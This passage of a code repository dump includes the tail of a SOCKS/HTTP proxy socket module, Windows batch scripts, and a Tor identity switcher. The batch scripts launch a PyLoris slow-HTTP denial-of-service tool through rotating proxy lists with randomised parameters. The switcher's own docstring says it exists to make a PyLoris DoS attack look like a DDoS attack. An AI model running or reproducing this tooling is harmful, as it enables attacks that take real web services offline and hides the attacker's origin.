DNS). 147 | port - The port of the server. Defaults to 1080 for SOCKS 148 | servers and 8080 for HTTP proxy servers. 149 | rdns - Should DNS queries be preformed on the remote side 150 | (rather than the local side). The default is True. 151 | Note: This has no effect with SOCKS4 servers. 152 | username - Username to authenticate with to the server. 153 | The default is no authentication. 154 | password - Password to authenticate with to the server. 155 | Only relevant when username is also provided. 156 | """ 157 | self.__proxy = (proxytype, addr, port, rdns, username, password) 158 | 159 | def __negotiatesocks5(self, destaddr, destport): 160 | """__negotiatesocks5(self,destaddr,destport) 161 | Negotiates a connection through a SOCKS5 server. 162 | """ 163 | # First we'll send the authentication packages we support. 164 | if (self.__proxy[4]!=None) and (self.__proxy[5]!=None): 165 | # The username/password details were supplied to the 166 | # setproxy method so we support the USERNAME/PASSWORD 167 | # authentication (in addition to the standard none). 168 | self.sendall(struct.pack('BBBB', 0x05, 0x02, 0x00, 0x02)) 169 | else: 170 | # No username/password were entered, therefore we 171 | # only support connections with no authentication. 172 | self.sendall(struct.pack('BBB', 0x05, 0x01, 0x00)) 173 | # We'll receive the server's response to determine which 174 | # method was selected 175 | chosenauth = self.__recvall(2) 176 | if chosenauth[0:1] != chr(0x05).encode(): 177 | self.close() 178 | raise GeneralProxyError((1, _generalerrors[1])) 179 | # Check the chosen authentication method 180 | if chosenauth[1:2] == chr(0x00).encode(): 181 | # No authentication is required 182 | pass 183 | elif chosenauth[1:2] == chr(0x02).encode(): 184 | # Okay, we need to perform a basic username/password 185 | # authentication. 186 | self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.__proxy[5])) + self.__proxy[5]) 187 | authstat = self.__recvall(2) 188 | if authstat[0:1] != chr(0x01).encode(): 189 | # Bad response 190 | self.close() 191 | raise GeneralProxyError((1, _generalerrors[1])) 192 | if authstat[1:2] != chr(0x00).encode(): 193 | # Authentication failed 194 | self.close() 195 | raise Socks5AuthError((3, _socks5autherrors[3])) 196 | # Authentication succeeded 197 | else: 198 | # Reaching here is always bad 199 | self.close() 200 | if chosenauth[1] == chr(0xFF).encode(): 201 | raise Socks5AuthError((2, _socks5autherrors[2])) 202 | else: 203 | raise GeneralProxyError((1, _generalerrors[1])) 204 | # Now we can request the actual connection 205 | req = struct.pack('BBB', 0x05, 0x01, 0x00) 206 | # If the given destination address is an IP address, we'll 207 | # use the IPv4 address request even if remote resolving was specified. 208 | try: 209 | ipaddr = socket.inet_aton(destaddr) 210 | req = req + chr(0x01).encode() + ipaddr 211 | except socket.error: 212 | # Well it's not an IP number, so it's probably a DNS name. 213 | if self.__proxy[3]: 214 | # Resolve remotely 215 | ipaddr = None 216 | req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + destaddr 217 | else: 218 | # Resolve locally 219 | ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) 220 | req = req + chr(0x01).encode() + ipaddr 221 | req = req + struct.pack(">H", destport) 222 | self.sendall(req) 223 | # Get the response 224 | resp = self.__recvall(4) 225 | if resp[0:1] != chr(0x05).encode(): 226 | self.close() 227 | raise GeneralProxyError((1, _generalerrors[1])) 228 | elif resp[1:2] != chr(0x00).encode(): 229 | # Connection failed 230 | self.close() 231 | if ord(resp[1:2])<=8: 232 | raise Socks5Error((ord(resp[1:2]), _socks5errors[ord(resp[1:2])])) 233 | else: 234 | raise Socks5Error((9, _socks5errors[9])) 235 | # Get the bound address/port 236 | elif resp[3:4] == chr(0x01).encode(): 237 | boundaddr = self.__recvall(4) 238 | elif resp[3:4] == chr(0x03).encode(): 239 | resp = resp + self.recv(1) 240 | boundaddr = self.__recvall(ord(resp[4:5])) 241 | else: 242 | self.close() 243 | raise GeneralProxyError((1,_generalerrors[1])) 244 | boundport = struct.unpack(">H", self.__recvall(2))[0] 245 | self.__proxysockname = (boundaddr, boundport) 246 | if ipaddr != None: 247 | self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) 248 | else: 249 | self.__proxypeername = (destaddr, destport) 250 | 251 | def getproxysockname(self): 252 | """getsockname() -> address info 253 | Returns the bound IP address and port number at the proxy. 254 | """ 255 | return self.__proxysockname 256 | 257 | def getproxypeername(self): 258 | """getproxypeername() -> address info 259 | Returns the IP and port number of the proxy. 260 | """ 261 | return _orgsocket.getpeername(self) 262 | 263 | def getpeername(self): 264 | """getpeername() -> address info 265 | Returns the IP address and port number of the destination 266 | machine (note: getproxypeername returns the proxy) 267 | """ 268 | return self.__proxypeername 269 | 270 | def __negotiatesocks4(self,destaddr,destport): 271 | """__negotiatesocks4(self,destaddr,destport) 272 | Negotiates a connection through a SOCKS4 server. 273 | """ 274 | # Check if the destination address provided is an IP address 275 | rmtrslv = False 276 | try: 277 | ipaddr = socket.inet_aton(destaddr) 278 | except socket.error: 279 | # It's a DNS name. Check where it should be resolved. 280 | if self.__proxy[3]: 281 | ipaddr = struct.pack("BBBB", 0x00, 0x00, 0x00, 0x01) 282 | rmtrslv = True 283 | else: 284 | ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) 285 | # Construct the request packet 286 | req = struct.pack(">BBH", 0x04, 0x01, destport) + ipaddr 287 | # The username parameter is considered userid for SOCKS4 288 | if self.__proxy[4] != None: 289 | req = req + self.__proxy[4] 290 | req = req + chr(0x00).encode() 291 | # DNS name if remote resolving is required 292 | # NOTE: This is actually an extension to the SOCKS4 protocol 293 | # called SOCKS4A and may not be supported in all cases. 294 | if rmtrslv: 295 | req = req + destaddr + chr(0x00).encode() 296 | self.sendall(req) 297 | # Get the response from the server 298 | resp = self.__recvall(8) 299 | if resp[0:1] != chr(0x00).encode(): 300 | # Bad data 301 | self.close() 302 | raise GeneralProxyError((1,_generalerrors[1])) 303 | if resp[1:2] != chr(0x5A).encode(): 304 | # Server returned an error 305 | self.close() 306 | if ord(resp[1:2]) in (91, 92, 93): 307 | self.close() 308 | raise Socks4Error((ord(resp[1:2]), _socks4errors[ord(resp[1:2]) - 90])) 309 | else: 310 | raise Socks4Error((94, _socks4errors[4])) 311 | # Get the bound address/port 312 | self.__proxysockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0]) 313 | if rmtrslv != None: 314 | self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) 315 | else: 316 | self.__proxypeername = (destaddr, destport) 317 | 318 | def __negotiatehttp(self, destaddr, destport): 319 | """__negotiatehttp(self,destaddr,destport) 320 | Negotiates a connection through an HTTP server. 321 | """ 322 | # If we need to resolve locally, we do this now 323 | if not self.__proxy[3]: 324 | addr = socket.gethostbyname(destaddr) 325 | else: 326 | addr = destaddr 327 | self.sendall(("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n").encode()) 328 | # We read the response until we get the string "\r\n\r\n" 329 | resp = self.recv(1) 330 | while resp.find("\r\n\r\n".encode()) == -1: 331 | resp = resp + self.recv(1) 332 | time.sleep(0.001) 333 | # We just need the first line to check if the connection 334 | # was successful 335 | statusline = resp.splitlines()[0].split(" ".encode(), 2) 336 | if statusline[0] not in ("HTTP/1.0".encode(), "HTTP/1.1".encode()): 337 | self.close() 338 | raise GeneralProxyError((1, _generalerrors[1])) 339 | try: 340 | statuscode = int(statusline[1]) 341 | except ValueError: 342 | self.close() 343 | raise GeneralProxyError((1, _generalerrors[1])) 344 | if statuscode != 200: 345 | self.close() 346 | raise HTTPError((statuscode, statusline[2])) 347 | self.__proxysockname = ("0.0.0.0", 0) 348 | self.__proxypeername = (addr, destport) 349 | 350 | def connect(self, destpair): 351 | """connect(self, despair) 352 | Connects to the specified destination through a proxy. 353 | destpar - A tuple of the IP/DNS address and the port number. 354 | (identical to socket's connect). 355 | To select the proxy server use setproxy(). 356 | """ 357 | # Do a minimal input check first 358 | if (not type(destpair) in (list,tuple)) or (len(destpair) < 2) or (type(destpair[0]) != type('')) or (type(destpair[1]) != int): 359 | raise GeneralProxyError((5, _generalerrors[5])) 360 | if self.__proxy[0] == PROXY_TYPE_SOCKS5: 361 | if self.__proxy[2] != None: 362 | portnum = self.__proxy[2] 363 | else: 364 | portnum = 1080 365 | _orgsocket.connect(self, (self.__proxy[1], portnum)) 366 | self.__negotiatesocks5(destpair[0], destpair[1]) 367 | elif self.__proxy[0] == PROXY_TYPE_SOCKS4: 368 | if self.__proxy[2] != None: 369 | portnum = self.__proxy[2] 370 | else: 371 | portnum = 1080 372 | _orgsocket.connect(self,(self.__proxy[1], portnum)) 373 | self.__negotiatesocks4(destpair[0], destpair[1]) 374 | elif self.__proxy[0] == PROXY_TYPE_HTTP: 375 | if self.__proxy[2] != None: 376 | portnum = self.__proxy[2] 377 | else: 378 | portnum = 8080 379 | _orgsocket.connect(self,(self.__proxy[1], portnum)) 380 | self.__negotiatehttp(destpair[0], destpair[1]) 381 | elif self.__proxy[0] == None: 382 | _orgsocket.connect(self, (destpair[0], destpair[1])) 383 | else: 384 | raise GeneralProxyError((4, _generalerrors[4])) 385 | -------------------------------------------------------------------------------- /start.bat: -------------------------------------------------------------------------------- 1 | cmd /v:ON /k start_httploris.bat -------------------------------------------------------------------------------- /start_httploris.bat: -------------------------------------------------------------------------------- 1 | FOR /L %%x IN (1,1,1) do (Call :1) 2 | 3 | :1 4 | 5 | FOR /F "tokens=1,2 delims=:" %%i in (proxy.txt) do ( 6 | start "%%i:%%j" httploris.py 127.0.0.1 --port 80 --page "/" --trylimit 999 --connectionlimit 20 --timebetweenconnections 5 --connectionspeed 1.5 --attacklimit 0 --threadlimit 1 --timebetweenthreads 1 --requesttype GET --useragent %random% --size 1510 --contenttype "application/x-www-form-urlencoded; charset=utf-8" --post %random% --socksversion HTTP --sockshost %%i --socksport %%j --referer "http://url.com/" --keepalive --gzip --finish) 7 | 8 | ping -n 1 -w 3000 192.168.0.255 9 | 10 | FOR /F "tokens=1,2 delims=:" %%i in (proxy2.txt) do ( 11 | start "%%i:%%j" httploris.py 127.0.0.1 --port 80 --page "/" --trylimit 999 --connectionlimit 20 --timebetweenconnections 5 --connectionspeed 2 --attacklimit 0 --threadlimit 1 --timebetweenthreads 1 --requesttype GET --useragent %random% --size 1520 --contenttype "application/x-www-form-urlencoded; charset=utf-8" --post %random% --socksversion HTTP --sockshost %%i --socksport %%j --referer "http://url.com/" --keepalive --gzip --finish) 12 | 13 | ping -n 1 -w 3000 192.168.0.255 14 | 15 | FOR /F "tokens=1,2 delims=:" %%i in (proxy3.txt) do ( 16 | start "%%i:%%j" httploris.py 127.0.0.1 --port 80 --page "/" --trylimit 999 --connectionlimit 20 --timebetweenconnections 5 --connectionspeed 3 --attacklimit 0 --threadlimit 1 --timebetweenthreads 1 --requesttype GET --useragent %random% --size 1530 --contenttype "application/x-www-form-urlencoded; charset=utf-8" --post %random% --socksversion HTTP --sockshost %%i --socksport %%j --referer "http://url.com/" --keepalive --gzip --finish) -------------------------------------------------------------------------------- /tor_switcher.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | tor_switcher.py 5 | A light interface for issuing NEWNYM signals over TOR's control port. Usefull 6 | for making a PyLoris DoS attack look like a DDoS attack. 7 | """ 8 | 9 | import random, telnetlib, thread, time 10 | from Tkinter import * 11 | 12 | class Switcher(Tk): 13 | def __init__(self): 14 | Tk.__init__(self) 15 | self.title(string = ".o0O| TOR Switcher |O0o.") 16 | 17 | self.host = StringVar() 18 | self.port = IntVar() 19 | self.passwd = StringVar() 20 | self.time = DoubleVar() 21 | 22 | self.host.set('localhost') 23 | self.port.set('9051') 24 | self.passwd.set('') 25 | self.time.set('30') 26 | 27 | Label(self, text = 'Host:').grid(row = 1, column = 1) 28 | Label(self, text = 'Port:').grid(row = 2, column = 1) 29 | Label(self, text = 'Password:').grid(row = 3, column = 1) 30 | Label(self, text = 'Interval:').grid(row = 4, column = 1) 31 | 32 | Entry(self, textvariable = self.host).grid(row = 1, column = 2, columnspan = 2) 33 | Entry(self, textvariable = self.port).grid(row = 2, column = 2, columnspan = 2) 34 | Entry(self, textvariable = self.passwd, show = '*').grid(row = 3, column = 2, columnspan = 2) 35 | Entry(self, textvariable = self.time).grid(row = 4, column = 2, columnspan = 2) 36 | 37 | Button(self, text = 'Start', command = self.start).grid(row = 5, column = 2) 38 | Button(self, text = 'Stop', command = self.stop).grid(row = 5, column = 3) 39 | 40 | self.output = Text(self, foreground="white", background="black", highlightcolor="white", highlightbackground="purple", wrap=WORD, height = 8, width = 40) 41 | self.output.grid(row = 1, column = 4, rowspan = 5) 42 | 43 | def start(self): 44 | self.write('TOR Switcher starting.') 45 | self.ident = random.random() 46 | thread.start_new_thread(self.newnym, ()) 47 | 48 | def stop(self): 49 | try: 50 | self.write('TOR Switcher stopping.') 51 | except: 52 | pass 53 | self.ident = random.random() 54 | 55 | def write(self, message): 56 | t = time.localtime() 57 | try: 58 | self.output.insert(END, '[%02i:%02i:%02i] %s\n' % (t[3], t[4], t[3], message)) 59 | except: 60 | print('[%02i:%02i:%02i] %s\n' % (t[3], t[4], t[3], message)) 61 | 62 | def newnym(self): 63 | key = self.ident 64 | host = self.host.get() 65 | port = self.port.get() 66 | passwd = self.passwd.get() 67 | interval = self.time.get() 68 | 69 | try: 70 | tn = telnetlib.Telnet(host, port) 71 | if passwd == '': 72 | tn.write("AUTHENTICATE\r\n") 73 | else: 74 | tn.write("AUTHENTICATE \"%s\"\r\n" % (passwd)) 75 | res = tn.read_until('250 OK', 5) 76 | 77 | if res.find('250 OK') > -1: 78 | self.write('AUTHENTICATE accepted.') 79 | else: 80 | self.write('Control responded "%s".') 81 | key = self.ident + 1 82 | self.write('Quitting.') 83 | except Exception, ex: 84 | self.write('There was an error: %s.' % (ex)) 85 | key = self.ident + 1 86 | self.write('Quitting.') 87 | 88 | while key == self.ident: 89 | try: 90 | tn.write("signal NEWNYM\r\n") 91 | res = tn.read_until('250 OK', 5) 92 | if res.find('250 OK') > -1: 93 | self.write('New identity established.') 94 | else: 95 | self.write('Control responded "%s".') 96 | key = self.ident + 1 97 | self.write('Quitting.') 98 | time.sleep(interval) 99 | except Exception, ex: 100 | self.write('There was an error: %s.' % (ex)) 101 | key = self.ident + 1 102 | self.write('Quitting.') 103 | 104 | try: 105 | tn.write("QUIT\r\n") 106 | tn.close() 107 | except: 108 | pass 109 | 110 | if __name__ == '__main__': 111 | mw = Switcher() 112 | mw.mainloop() 113 | mw.stop() 114 | --------------------------------------------------------------------------------